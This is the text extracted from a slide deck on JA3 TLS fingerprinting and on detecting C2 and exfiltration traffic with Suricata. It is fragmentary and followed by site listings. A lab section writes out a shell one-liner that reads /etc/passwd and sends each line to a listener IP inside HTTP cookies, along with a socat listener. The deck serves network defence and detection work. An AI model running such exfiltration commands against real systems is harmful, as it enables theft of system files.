SlideShare a Scribd company logo
SSL/TLS fingerprinting
Http ssl ja3 fingerprinting
Http ssl ja3 fingerprinting
Format Suricata support
ja3_hash /ja3_string
Http ssl ja3 fingerprinting
Client Hello Fingerprint
Client/Server Communication SSL
Http ssl ja3 fingerprinting
Client ssl hello fingerprinting
Ja3 Client Hello Fingerprinting
https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41
Research by .....
chrome Browser
IE Browser
Firefox Browser
• SSL/TLS fingerprinting detection with Suricata
• -Baseline HTTPs browser client ssl fingerprinting
fingerprinting Mozilla,IE,Chrome
Baseline different malware/c2 inside ssl tunnell
Stunnell (behavior Malware/C2 analysis)
-backcookies--> Constant timing + Data Exflitration Cookies
-Covertutils --> Random Beaconing
-Other C2 HTTP communication etc ....
Metasploit Reverse HTTPS
User Segment Ony
Client
Internet
NIPS -suricata
HTTP client Hello fingerprinting
Baseline Browser
HTTPs fingerprint
Mozilla
Chrome
IE
Good Network
Behavior
Category
Web Server
Search
Engine
Free cert
Paid cert
Self-sign cert
?
??????
Bridge AP wifi
Installation of suricata 4.1.0
Installation of suricata 4.1.0
apt-get -y install libpcre3 libpcre3-dbg libpcre3-dev 
build-essential autoconf automake libtool libpcap-dev libnet1-dev 
libyaml-0-2 libyaml-dev zlib1g zlib1g-dev libmagic-dev libcap-ng-dev 
libjansson-dev pkg-config python-yaml
apt-get -y install libnetfilter-queue-dev
./configure --enable-nfqueue --prefix=/usr --sysconfdir=/etc --
localstatedir=/var
make && make install-full
Baseline Analysis Mozila/Firefox
xbits with ip-dst
Baseline Analysis Mozila/Firefox
xbits with ip-src
Baseline Analysis Mozila/Firefox
xbits with track ip_pair
Baseline Analysis Mozila/Firefox
xbits(ip-pair) + flowbits
stunnell ssl client fingerprinting
cat/etc/passwd|whilereadexfil;dopython./badcookie.py192.168.0.110"$exfil";done
socatTCP-LISTEN:80,bind=192.168.25.5,fork,reuseaddr,crlfSYSTEM:"echoHTTP/1.0200;echoContent-Type:text/plain;echo;"
192.168.0.110
Suricataips
Base64 encoding detected
Data exflitration at cookies
cat /etc/passwd | while read exfil; do python ./badcookie.py 192.168.1.149 "$exfil" ; done
192.168.1.149
socat TCP-LISTEN:80,bind=192.168.25.5,fork,reuseaddr,crlf SYSTEM:"echo HTTP/1.0 200; echo Content-Type: text/plain; echo;"
socat TCP-LISTEN:80,bind=192.168.25.5,fork,reuseaddr,crlf SYSTEM:"echo HTTP/1.0 200; echo Content-Type: text/plain; echo;"
cat /etc/passwd | while read exfil; do python ./badcookie.py 192.168.1.149 "$exfil" ; done
Data exflitration at cookies values
Data exflitration at cookies HTTPS
3 session
encryption
a
b
c
Repeated with same size length
426
563
426
563
HTTP vs HTTP/2
Metasploit Reverse HTTPS
psiphon internet bypass
Drop on purpose
Http ssl ja3 fingerprinting
Powershell Empire C2 HTTPS JA3 + TLS server
Http ssl ja3 fingerprinting
• Presentation by
• Arora by protocolunique solution
Q & A

More Related Content

PDF
Hacking With Nmap - Scanning Techniques
PDF
Ceh v5 module 02 footprinting
PPTX
Network scanning
PDF
HTTP Security Headers
PDF
Nmap scripting engine
ODP
Scanning with nmap
PDF
Ceh v5 module 03 scanning
Hacking With Nmap - Scanning Techniques
Ceh v5 module 02 footprinting
Network scanning
HTTP Security Headers
Nmap scripting engine
Scanning with nmap
Ceh v5 module 03 scanning

What's hot (20)

PPTX
VC4NM73 EQ#4-3DES
PDF
Security Analyst Workshop - 20190314
PPTX
PDF
Ceh v5 module 04 enumeration
PPTX
Recon with Nmap
PDF
XSS Magic tricks
PPT
Port scanning
PPTX
Tcpdump
PPTX
20 common port numbers and their purposes
PDF
Time based CAPTCHA protected SQL injection through SOAP-webservice
PPT
Blowfish Cryptosystem
PDF
SSH - Secure Shell
PPT
Introduction to PowerShell
PPTX
Ethical hacking : Its methodologies and tools
PDF
Threat Modeling to Reduce Software Security Risk
PDF
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
PDF
DOCX
Ports and protocols
PDF
Nmap tutorial
PPT
VC4NM73 EQ#4-3DES
Security Analyst Workshop - 20190314
Ceh v5 module 04 enumeration
Recon with Nmap
XSS Magic tricks
Port scanning
Tcpdump
20 common port numbers and their purposes
Time based CAPTCHA protected SQL injection through SOAP-webservice
Blowfish Cryptosystem
SSH - Secure Shell
Introduction to PowerShell
Ethical hacking : Its methodologies and tools
Threat Modeling to Reduce Software Security Risk
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
Ports and protocols
Nmap tutorial
Ad

Similar to Http ssl ja3 fingerprinting (20)

PPT
e-Xpert Gate / Reverse Proxy - WAF 1ere génération
PDF
FIWARE Wednesday Webinars - How to Secure IoT Devices
PDF
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
PDF
SSL Secure socket layer
PDF
honeyTLS - Profiling and Clustering Internet-wide SSL/TLS Scans with JA3
PDF
Configuring SSL on NGNINX and less tricky servers
PDF
#Morecrypto (with tis) - version 2.2
PDF
Dr. Omar Ali Alibrahim - Ssl talk
PDF
020618 Why Do we Need HTTPS
PDF
Certificate Pinning in Mobile Applications
PPTX
Oralce SSL walelt -TCPS_Troubleshooting_PB.pptx
PPT
Certificates and Web of Trust
PPT
Squid server
PPTX
Flak+technologies
PPTX
Flak+technologies
PPT
Secure Communication with an Insecure Internet Infrastructure
PPTX
[Cluj] Turn SSL ON
PPTX
Information Security Engineering
PPT
Ch12 Cryptographic Protocols and Public Key Infrastructure
e-Xpert Gate / Reverse Proxy - WAF 1ere génération
FIWARE Wednesday Webinars - How to Secure IoT Devices
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
SSL Secure socket layer
honeyTLS - Profiling and Clustering Internet-wide SSL/TLS Scans with JA3
Configuring SSL on NGNINX and less tricky servers
#Morecrypto (with tis) - version 2.2
Dr. Omar Ali Alibrahim - Ssl talk
020618 Why Do we Need HTTPS
Certificate Pinning in Mobile Applications
Oralce SSL walelt -TCPS_Troubleshooting_PB.pptx
Certificates and Web of Trust
Squid server
Flak+technologies
Flak+technologies
Secure Communication with an Insecure Internet Infrastructure
[Cluj] Turn SSL ON
Information Security Engineering
Ch12 Cryptographic Protocols and Public Key Infrastructure
Ad

Recently uploaded (20)

PPTX
Module 1 - Cyber Law and Ethics 101.pptx
PDF
Sims 4 Historia para lo sims 4 para jugar
PDF
Tenda Login Guide: Access Your Router in 5 Easy Steps
PPTX
innovation process that make everything different.pptx
PDF
WebRTC in SignalWire - troubleshooting media negotiation
PPTX
Introuction about WHO-FIC in ICD-10.pptx
PDF
Unit-1 introduction to cyber security discuss about how to secure a system
PPTX
PptxGenJS_Demo_Chart_20250317130215833.pptx
PDF
Smart Home Technology for Health Monitoring (www.kiu.ac.ug)
PPTX
SAP Ariba Sourcing PPT for learning material
PPT
isotopes_sddsadsaadasdasdasdasdsa1213.ppt
PPTX
Mathew Digital SEO Checklist Guidlines 2025
PPTX
INTERNET------BASICS-------UPDATED PPT PRESENTATION
PPTX
artificial intelligence overview of it and more
PPTX
Power Point - Lesson 3_2.pptx grad school presentation
PDF
Best Practices for Testing and Debugging Shopify Third-Party API Integrations...
PPTX
international classification of diseases ICD-10 review PPT.pptx
PPTX
presentation_pfe-universite-molay-seltan.pptx
PPTX
522797556-Unit-2-Temperature-measurement-1-1.pptx
PDF
SASE Traffic Flow - ZTNA Connector-1.pdf
Module 1 - Cyber Law and Ethics 101.pptx
Sims 4 Historia para lo sims 4 para jugar
Tenda Login Guide: Access Your Router in 5 Easy Steps
innovation process that make everything different.pptx
WebRTC in SignalWire - troubleshooting media negotiation
Introuction about WHO-FIC in ICD-10.pptx
Unit-1 introduction to cyber security discuss about how to secure a system
PptxGenJS_Demo_Chart_20250317130215833.pptx
Smart Home Technology for Health Monitoring (www.kiu.ac.ug)
SAP Ariba Sourcing PPT for learning material
isotopes_sddsadsaadasdasdasdasdsa1213.ppt
Mathew Digital SEO Checklist Guidlines 2025
INTERNET------BASICS-------UPDATED PPT PRESENTATION
artificial intelligence overview of it and more
Power Point - Lesson 3_2.pptx grad school presentation
Best Practices for Testing and Debugging Shopify Third-Party API Integrations...
international classification of diseases ICD-10 review PPT.pptx
presentation_pfe-universite-molay-seltan.pptx
522797556-Unit-2-Temperature-measurement-1-1.pptx
SASE Traffic Flow - ZTNA Connector-1.pdf

Http ssl ja3 fingerprinting